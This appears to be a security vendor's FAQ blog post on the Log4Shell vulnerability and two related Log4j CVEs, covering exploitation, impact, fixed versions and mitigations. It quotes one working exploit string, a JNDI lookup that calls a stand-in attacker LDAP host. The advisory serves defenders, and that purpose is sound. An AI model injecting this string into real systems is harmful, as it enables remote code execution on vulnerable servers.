CVE-2021-44228, CVE-2021-45046, CVE-2021-4104: Frequently Asked Questions About Log4Shell and Associated Vulnerabilities

A list of frequently asked questions related to Log4Shell and associated vulnerabilities.

Background

Following the discovery of the Apache Log4j vulnerability known as Log4Shell on December 9, The Security Response Team has put together the following blog post to answer some of the more frequently asked questions (FAQ) about Log4Shell and the newly disclosed vulnerabilities in Log4j.

FAQ

What is Log4j?

Log4j is a widely used Java logging library included in Apache Logging Services. It is used to log messages from an application or service, often for debugging purposes.

What is CVE-2021-44228?

CVE-2021-44228 is a remote code execution (RCE) vulnerability in Apache Log4j 2.0 through 2.14.1. It has been dubbed Log4Shell by security researchers.

How can CVE-2021-44228 be exploited?

A remote, unauthenticated attacker could exploit this flaw by sending a specially crafted request to a server running a vulnerable version of log4j. This could be achieved by submitting an exploit string into a text field on a website or by including the exploit string as part of HTTP headers destined for a vulnerable server. If the vulnerable server uses log4j to log requests, the exploit will then request a malicious payload from an attacker-controlled server through the Java Naming and Directory Interface (JNDI) over a variety of services, such as Lightweight Directory Access Protocol (LDAP).

An example exploit would look something like this:

${jndi:ldap://attackersite.com/exploit.class}

What happens if the vulnerability is exploited?

The vulnerable log4j library would request and execute a malicious payload from the attacker-controlled server.

Have we seen any attacks in the wild so far?

Attackers have already begun using Log4Shell in a variety of ways, including:

• Cryptocurrency mining software (cryptominers)
• Distributed denial-of-service (DDoS) botnets
• Ransomware

There are reports that both nation state groups and initial access brokers have already begun leveraging the flaw, which means we should expect advanced persistent threat (APT) groups and ransomware affiliates will likely be leveraging the flaw in the very near future.

Why is Log4Shell such a big deal?

Log4j is a widely used library across a number of products and services for logging purposes, which creates a large attack surface. Exploiting Log4Shell is simple, with readily available proof-of-concept code on GitHub. Finally, because many organizations don’t know just how prevalent this library is within the products and services they use, this could likely have long-term effects.

Was Log4Shell addressed in Log4j 2.15.0?

No, Apache released Log4j 2.16.0 to address an incomplete fix for Log4Shell. Apache assigned a new CVE for this incomplete fix: CVE-2021-45046.

What is CVE-2021-45046?

CVE-2021-45046 was originally reported as a denial of service vulnerability in Apache Log4j 2.0 through 2.15.0, and has since been upgraded to a RCE. Under specific non-default configurations where a Context Lookup (e.g.: $${ctx:loginId}) is used, an attacker that crafts a JNDI lookup using malicious input data would be able to cause a DoS condition or achieve RCE on a vulnerable server using Log4j 2.

Does the mitigation for Log4Shell apply to CVE-2021-45046?

No. According to Apache, the previous mitigation for CVE-2021-44228 — setting formatMsgNoLookups to true — is an insufficient mitigation altogether. That guidance failed to account for other code paths in which message lookups could occur. Because of this, Apache now recommends upgrading to a safe version of Log4j, starting with 2.16.0 and 2.12.2 (for Java 7). If that is not possible, Apache recommends removing the JndiLookup classpath.

What does the release of Log4j 2.16.0 actually do?

Based on the release notes, Apache has chosen to harden Log4j by removing message lookups and disabling JNDI by default.

My organization uses Java 7 and we can’t upgrade to Log4j 2.16.0. What do we do?

Apache released Log4j 2.12.2 to address CVE-2021-45046 for Java 7. If immediate patching is not possible, Apache advises removing the JndiLookup class from the classpath. Guidance on how to remove this classpath can be found in the Apache documentation.

Is Log4j 1.x vulnerable?

There is still a lot of information coming out surrounding Log4Shell. At the time this blog was published, Apache said that Log4j 1.2 is vulnerable in a similar way when Log4j is configured to use JMSAppender, which is not part of the default configuration, but is not specifically vulnerable to CVE-2021-44228. This vulnerability in Log4j 1.2 has been assigned CVE-2021-4104.

Is there a patch available for Log4j 1.2?

No, Log4j branch 1.x has reached end of life (EOL) status, and therefore does not receive security updates. Users are instructed to upgrade to Log4j 2.12.2 (for Java 7) or 2.16.0 or greater.

How do I address CVE-2021-4104?

There are a few mitigation options that can be used to prevent exploitation of CVE-2021-4104.

• Do not use the JMSAppender in the Log4j configuration
• Remove the JMSAppender class file (org/apache/log4j/net/JMSAppender.class)
• Limit OS user access to prevent an attacker from being able to modify the Log4j configuration

What’s the story here with all of these vulnerabilities?

Here’s what we know as of December 17:

• Three CVEs have been assigned for vulnerabilities affecting Log4j

• Only CVE-2021-44228 is exploitable out-of-the-box when Log4j versions 2.0 through 2.14.1 are included as a library in applications and services
• CVE-2021-45046 and CVE-2021-4104 are only present in certain non-default configurations
• CVE-2021-4104 will not be patched, as the Log4j 1.x branch has reached end-of-life

What are the fixed versions of Log4j that address these vulnerabilities?

What is the likelihood of exploitation for these vulnerabilities?

The following table summarizes exploitability and whether or not a vulnerability was already being exploited.

Is Tenable vulnerable to any of the vulnerabilities in Log4j?

Tenable CISO Bob Huber has issued a full statement which can be found here.

What are ways me/my organization can identify these vulnerabilities in Log4j?

Tenable has released a number of plugins, scan templates and dashboards (Tenable.io, Tenable.sc) for our products.

• For updated information on the plugins that have been released, please refer to this post on the Tenable Community.
• For updated information about scan templates that have been released, please refer to this post on the Tenable Community.

Get more information

Join Tenable’s Security Response Team on the Tenable Community.

Learn more about Tenable, the first Cyber Exposure platform for holistic management of your modern attack surface.

Get a free 30-day trial of Tenable.io Vulnerability Management.